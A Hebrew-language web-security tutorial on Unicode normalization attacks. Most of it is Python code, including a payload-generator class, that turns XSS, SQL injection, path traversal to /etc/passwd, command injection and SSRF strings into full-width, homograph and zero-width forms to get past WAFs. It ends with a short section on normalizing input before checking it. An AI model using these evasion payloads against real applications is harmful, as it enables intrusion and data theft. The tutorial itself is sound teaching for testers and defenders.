נורמליזציית Unicode - Unicode Normalization Attacks¶
רקע - מהי נורמליזציית Unicode?¶
תקן Unicode מאפשר לייצג את אותו תו ויזואלי במספר דרכים שונות. למשל, האות e עם accent (e) אפשר לייצג כתו בודד (U+00E9) או כשני תווים: e (U+0065) ואחריו combining accent (U+0301). כדי לאפשר השוואה עקבית, קיימות ארבע צורות נורמליזציה.
צורות נורמליזציה¶
NFC - Canonical Decomposition, followed by Canonical Composition¶
פירוק קנוני ואז הרכבה חזרה. זו הצורה הנפוצה ביותר.
import unicodedata
# e + combining accent -> e (single character)
text = "e\u0301" # e + combining acute accent
nfc = unicodedata.normalize('NFC', text)
print(f"Original: {repr(text)}") # 'e\u0301'
print(f"NFC: {repr(nfc)}") # '\xe9'
print(f"Original length: {len(text)}") # 2
print(f"NFC length: {len(nfc)}") # 1
NFD - Canonical Decomposition¶
פירוק קנוני בלבד. מפרק תווים מורכבים לרכיביהם.
text = "\xe9" # e (single character)
nfd = unicodedata.normalize('NFD', text)
print(f"Original: {repr(text)}") # '\xe9'
print(f"NFD: {repr(nfd)}") # 'e\u0301'
print(f"Original length: {len(text)}") # 1
print(f"NFD length: {len(nfd)}") # 2
NFKC - Compatibility Decomposition, followed by Canonical Composition¶
פירוק תאימות ואז הרכבה. זו הצורה המעניינת ביותר לתוקפים כי היא ממירה תווים חזותית דומים לצורה הסטנדרטית שלהם.
examples = [
("\uff1c", "<"), # < (full-width) -> <
("\uff1e", ">"), # > (full-width) -> >
("\ufb01", "fi"), # fi (ligature) -> fi
("\u2024", "."), # ․ (one dot leader) -> .
("\uff0f", "/"), # / (full-width) -> /
("\u2044", "/"), # ⁄ (fraction slash) -> /
("\uff07", "'"), # ' (full-width) -> '
("\u2018", "'"), # ' (left single quote) -> ' (depends)
]
for original, expected in examples:
nfkc = unicodedata.normalize('NFKC', original)
print(f"U+{ord(original):04X} ({original}) -> NFKC: {repr(nfkc)}")
NFKD - Compatibility Decomposition¶
פירוק תאימות בלבד, ללא הרכבה חזרה.
text = "\ufb01" # fi ligature
nfkd = unicodedata.normalize('NFKD', text)
print(f"NFKD: {repr(nfkd)}") # 'fi'
הbypass WAF באמצעות נורמליזציה¶
העיקרון¶
הקלט עובר דרך ה-WAF בצורתו המקורית (תווי Unicode מיוחדים). ה-WAF לא מזהה דפוס מסוכן. האפליקציה מבצעת נורמליזציה (NFKC) ומקבלת payload זדוני.
Attacker sends: <script>alert(1)</script>
WAF sees: <script>alert(1)</script> -> doesn't recognize <script>
Application normalizes (NFKC): <script>alert(1)</script> -> XSS!
הpayloads XSS עם תווים ברוחב מלא¶
# Building an XSS payload with full-width characters
def fullwidth_encode(text):
"""Convert ASCII characters to full-width characters"""
result = []
for char in text:
code = ord(char)
if 0x21 <= code <= 0x7E:
# ASCII characters 0x21-0x7E map to 0xFF01-0xFF5E
result.append(chr(code - 0x21 + 0xFF01))
else:
result.append(char)
return ''.join(result)
payload = "<script>alert(1)</script>"
encoded = fullwidth_encode(payload)
print(f"Original: {payload}")
print(f"Encoded: {encoded}")
# Encoded: <script>alert(1)</script>
# Verify that normalization reverts to the original
import unicodedata
decoded = unicodedata.normalize('NFKC', encoded)
print(f"After NFKC: {decoded}")
# After NFKC: <script>alert(1)</script>
הpayloads SQLi עם תווי Unicode¶
# Characters that normalize to sensitive characters
unicode_mappings = {
"'": ["\uff07", "\u2018", "\u2019", "\u02bc"], # apostrophe
'"': ["\uff02", "\u201c", "\u201d"], # quotation marks
"<": ["\uff1c", "\u2039", "\u276e"], # less-than
">": ["\uff1e", "\u203a", "\u276f"], # greater-than
"/": ["\uff0f", "\u2044", "\u2215"], # slash
"(": ["\uff08", "\u207d", "\u208d"], # opening parenthesis
")": ["\uff09", "\u207e", "\u208e"], # closing parenthesis
" ": ["\u2000", "\u2001", "\u2002", "\u2003"], # various spaces
}
# Building a SQLi payload
# Original: ' UNION SELECT 1--
# With Unicode: ' UNION SELECT 1--
sqli_payload = "\uff07 UNION SELECT 1--"
print(f"Payload: {sqli_payload}")
print(f"After NFKC: {unicodedata.normalize('NFKC', sqli_payload)}")
התקפות הומוגרף - Homograph Attacks¶
תווים שנראים זהים אך שונים¶
# Cyrillic characters that look like Latin ones
homographs = {
'a': '\u0430', # а (Cyrillic)
'c': '\u0441', # с (Cyrillic)
'e': '\u0435', # е (Cyrillic)
'o': '\u043e', # о (Cyrillic)
'p': '\u0440', # р (Cyrillic)
'x': '\u0445', # х (Cyrillic)
'y': '\u0443', # у (Cyrillic)
'H': '\u041d', # Н (Cyrillic)
'B': '\u0412', # В (Cyrillic)
'T': '\u0422', # Т (Cyrillic)
}
# Demonstration
latin_a = 'a'
cyrillic_a = '\u0430'
print(f"Latin a: U+{ord(latin_a):04X}") # U+0061
print(f"Cyrillic а: U+{ord(cyrillic_a):04X}") # U+0430
print(f"Look the same? {latin_a} vs {cyrillic_a}") # a vs а
print(f"Equal? {latin_a == cyrillic_a}") # False
התקפת הומוגרף על URL¶
# Real URL: apple.com
# Fake URL with Cyrillic: аррle.com (a, p, p are Cyrillic)
real_domain = "apple.com"
fake_domain = "\u0430\u0440\u0440le.com"
print(f"Real: {real_domain}")
print(f"Fake: {fake_domain}")
print(f"Equal? {real_domain == fake_domain}") # False
# But visually they look identical!
# Checking IDN (Internationalized Domain Name)
# The browser converts to Punycode: xn--pple-43d0c.com
הexploit הומוגרפים לbypass WAF¶
# WAF blocks the word "script"
# We'll replace one character with a Cyrillic homograph
# Original: <script>alert(1)</script>
# With homograph: <ѕсript>alert(1)</ѕсript>
# ^ ѕ (Cyrillic) ^ с (Cyrillic)
payload = "<\u0455\u0441ript>alert(1)</\u0455\u0441ript>"
print(f"Payload: {payload}")
# The browser will see: <ѕсript>alert(1)</ѕсript>
# WAF won't recognize it as "script"
# But: the browser also won't recognize it as a script tag!
# This technique only works if the application normalizes before processing
הbypass באמצעות רוחב - Width-based Bypass¶
תווים ברוחב מלא - Full-width Characters¶
טווח U+FF01 עד U+FF5E מכיל גרסאות ברוחב מלא של תווי ASCII:
# Common conversion table
fullwidth_table = {
'!': '\uff01', # !
'"': '\uff02', # "
'#': '\uff03', # #
'$': '\uff04', # $
'%': '\uff05', # %
'&': '\uff06', # &
"'": '\uff07', # '
'(': '\uff08', # (
')': '\uff09', # )
'*': '\uff0a', # *
'+': '\uff0b', # +
',': '\uff0c', # ,
'-': '\uff0d', # -
'.': '\uff0e', # .
'/': '\uff0f', # /
'<': '\uff1c', # <
'=': '\uff1d', # =
'>': '\uff1e', # >
'?': '\uff1f', # ?
'@': '\uff20', # @
}
# Building a path traversal payload
# Original: ../../../etc/passwd
traversal = "\uff0e\uff0e\uff0f\uff0e\uff0e\uff0f\uff0e\uff0e\uff0fetc\uff0fpasswd"
print(f"Payload: {traversal}")
print(f"After NFKC: {unicodedata.normalize('NFKC', traversal)}")
# After NFKC: ../../../etc/passwd
הpayloads ברוחב מלא לכל סוגי החולשות¶
import unicodedata
def generate_fullwidth_payloads():
payloads = {
"XSS": "<script>alert(1)</script>",
"SQLi": "' UNION SELECT 1--",
"Path Traversal": "../../../etc/passwd",
"Command Injection": "; ls -la",
"SSRF": "http://127.0.0.1/admin",
}
for name, payload in payloads.items():
encoded = ""
for char in payload:
code = ord(char)
if 0x21 <= code <= 0x7E:
encoded += chr(code - 0x21 + 0xFF01)
else:
encoded += char
normalized = unicodedata.normalize('NFKC', encoded)
print(f"\n--- {name} ---")
print(f"Original: {payload}")
print(f"Full-width: {encoded}")
print(f"NFKC: {normalized}")
print(f"Same as original? {normalized == payload}")
generate_fullwidth_payloads()
הexploit Combining Characters ו-Diacritics¶
תווים משלבים - Combining Characters¶
תווים שמתחברים לתו הקודם ועשויים להשפיע על נורמליזציה:
# Adding combining characters that normalize away
combining_chars = [
'\u0300', # combining grave accent
'\u0301', # combining acute accent
'\u0302', # combining circumflex
'\u0303', # combining tilde
'\u0304', # combining macron
'\u030a', # combining ring above
'\u0327', # combining cedilla
]
# Inserting a combining character between letters
# WAF looks for "script" as a continuous sequence
# "s" + combining char + "cript" breaks the sequence
payload = "s\u0300cript"
print(f"Payload: {payload}")
print(f"Length: {len(payload)}") # 7 (including combining char)
# Note: combining characters don't always disappear during normalization
# It depends on the specific character and normalization form
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {repr(nfkc)}")
הexploit Zero-Width Characters¶
# Zero-width characters - invisible but break pattern matching
zero_width = [
'\u200b', # Zero-Width Space
'\u200c', # Zero-Width Non-Joiner
'\u200d', # Zero-Width Joiner
'\ufeff', # Zero-Width No-Break Space (BOM)
'\u200e', # Left-to-Right Mark
'\u200f', # Right-to-Left Mark
]
# Inserting a Zero-Width Space inside "script"
payload = f"<scr\u200bipt>alert(1)</scr\u200bipt>"
print(f"Payload: {payload}")
print(f"Looks like: <script>alert(1)</script>")
print(f"But length: {len('script')} vs {len('scr\\u200bipt')}")
# Does the browser ignore zero-width chars inside a tag?
# Usually not - but some applications strip them
בעיית Case Mapping בתרבויות שונות - Turkish I Problem¶
הבעיה הטורקית¶
בטורקית, המרת case עובדת אחרת:
import locale
# In English:
# I (upper) <-> i (lower)
# Regular
# In Turkish:
# I (upper) <-> ı (lower, without dot)
# I (upper, with dot) <-> i (lower)
# Special character: ı (dotless i, U+0131)
# Special character: I (I with dot above, U+0130)
# A WAF that uses case-insensitive comparison with a Turkish locale
keyword = "SELECT"
user_input = "sel\u0130ct" # with Turkish I (I with a dot)
# In Turkish culture: "I".lower() = "ı" (not "i")
# But I (U+0130).lower() = "i"
# WAF with a Turkish locale:
# "SELECT".lower() -> "select" (in English)
# "SELECT".lower() -> "sel\u0131ct" (in Turkish, with dotless i)
# If the WAF does lower() with a Turkish locale, "SELECT" becomes "sel\u0131ct"
# And then the comparison to "select" fails!
הexploit לbypass WAF¶
# Scenario: WAF checks case-insensitive with a wrong locale
# The input goes through uppercase/lowercase differently
# Payload with a Kelvin Sign character
# K (Kelvin, U+212A) differs from K (Latin, U+004B)
# But NFKC converts Kelvin -> K
kelvin = '\u212a'
latin_k = 'K'
print(f"Kelvin: {kelvin} (U+{ord(kelvin):04X})")
print(f"Latin K: {latin_k} (U+{ord(latin_k):04X})")
print(f"Equal? {kelvin == latin_k}") # False
print(f"NFKC equal? {unicodedata.normalize('NFKC', kelvin) == latin_k}") # True
# Payload: SELECT with Kelvin K
sqli = f"' UNION {kelvin}SELECT 1--" # K is Kelvin
print(f"Payload: {sqli}")
# WAF looks for "SELECT" - doesn't find it (because the K is Kelvin)
# Application with NFKC: "' UNION KSELECT 1--" -> not perfect
# A better approach: long s
# ſ (Long S, U+017F) -> NFKC -> s
long_s = '\u017f'
payload = f"' UNION {long_s}ELECT 1--"
print(f"Payload: {payload}")
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {nfkc}")
# NFKC: ' UNION sELECT 1-- -> not exactly "SELECT" (lowercase letter)
# Combined with case-insensitive SQL:
# SQL is case-insensitive, so sELECT = SELECT
כלי לבניית payloads Unicode¶
import unicodedata
class UnicodeBypassGenerator:
"""Generates bypass payloads using Unicode"""
# Mapping of alternative characters
ALTERNATIVES = {
'<': ['\uff1c', '\u2039', '\u276e', '\ufe64'],
'>': ['\uff1e', '\u203a', '\u276f', '\ufe65'],
"'": ['\uff07', '\u2018', '\u2019', '\u02bc', '\u02b9'],
'"': ['\uff02', '\u201c', '\u201d'],
'/': ['\uff0f', '\u2044', '\u2215'],
'\\': ['\uff3c', '\u2216'],
'(': ['\uff08', '\u207d', '\u208d', '\ufe59'],
')': ['\uff09', '\u207e', '\u208e', '\ufe5a'],
' ': ['\u2000', '\u2001', '\u2002', '\u2003', '\u00a0',
'\u2004', '\u2005', '\u2006', '\u2007', '\u2008',
'\u2009', '\u200a', '\u202f', '\u205f'],
'.': ['\uff0e', '\u2024'],
'-': ['\uff0d', '\u2010', '\u2011', '\u2012', '\u2013'],
',': ['\uff0c', '\ufe50'],
';': ['\uff1b', '\ufe54'],
'=': ['\uff1d', '\ufe66'],
}
@classmethod
def encode_payload(cls, payload, strategy='fullwidth'):
"""Encode a payload with the chosen strategy"""
if strategy == 'fullwidth':
return cls._fullwidth(payload)
elif strategy == 'alternatives':
return cls._alternatives(payload)
elif strategy == 'mixed':
return cls._mixed(payload)
return payload
@classmethod
def _fullwidth(cls, text):
result = []
for char in text:
code = ord(char)
if 0x21 <= code <= 0x7E:
result.append(chr(code - 0x21 + 0xFF01))
else:
result.append(char)
return ''.join(result)
@classmethod
def _alternatives(cls, text):
result = []
for char in text:
if char in cls.ALTERNATIVES:
result.append(cls.ALTERNATIVES[char][0])
else:
result.append(char)
return ''.join(result)
@classmethod
def _mixed(cls, text):
"""Partial encoding - only critical characters"""
critical = set("<>'\"/\\()= ")
result = []
for char in text:
if char in critical and char in cls.ALTERNATIVES:
result.append(cls.ALTERNATIVES[char][0])
else:
result.append(char)
return ''.join(result)
@classmethod
def verify_normalization(cls, encoded, expected):
"""Verify that normalization returns the desired payload"""
for form in ['NFC', 'NFD', 'NFKC', 'NFKD']:
normalized = unicodedata.normalize(form, encoded)
match = normalized == expected
print(f"{form}: {'V' if match else 'X'} -> {repr(normalized[:50])}")
# Usage
gen = UnicodeBypassGenerator()
xss = "<script>alert(1)</script>"
sqli = "' UNION SELECT 1--"
for payload_name, payload in [("XSS", xss), ("SQLi", sqli)]:
print(f"\n{'='*50}")
print(f"Payload: {payload_name}")
for strategy in ['fullwidth', 'alternatives', 'mixed']:
encoded = gen.encode_payload(payload, strategy)
print(f"\nStrategy: {strategy}")
print(f"Encoded: {encoded}")
gen.verify_normalization(encoded, payload)
הגנה - נורמליזציה לפני בדיקה¶
import unicodedata
def secure_input_handler(user_input):
"""Secure processing of Unicode input"""
# Step 1: NFKC normalization (the broadest canonical form)
normalized = unicodedata.normalize('NFKC', user_input)
# Step 2: remove control characters and zero-width characters
cleaned = ''.join(
char for char in normalized
if unicodedata.category(char) not in ('Cc', 'Cf')
or char in ('\n', '\r', '\t')
)
# Step 3: check that all characters are allowed
for char in cleaned:
if unicodedata.category(char).startswith('C'):
raise ValueError(f"Invalid character: U+{ord(char):04X}")
# Step 4: security checks on the normalized form
# (this is where the WAF checks run)
return cleaned
# ModSecurity rule - Unicode normalization
SecRule ARGS "@rx .*" \
"id:1001,\
phase:2,\
pass,\
t:utf8toUnicode,\
t:urlDecode,\
t:htmlEntityDecode,\
t:lowercase,\
chain"
SecRule MATCHED_VAR "@rx <script>" \
"deny,status:403"
סיכום¶
נורמליזציית Unicode היא וקטור תקיפה עוצמתי מכיוון שרוב ה-WAFs לא מבצעים נורמליזציה לפני בדיקת חוקים. תווים ברוחב מלא, הומוגרפים, תווי combining, ותווי zero-width - כולם יכולים לשמש לbypass. ההגנה הנכונה היא לנרמל (NFKC) לפני כל בדיקת אבטחה, ולדחות תווים שאינם בטווח הצפוי.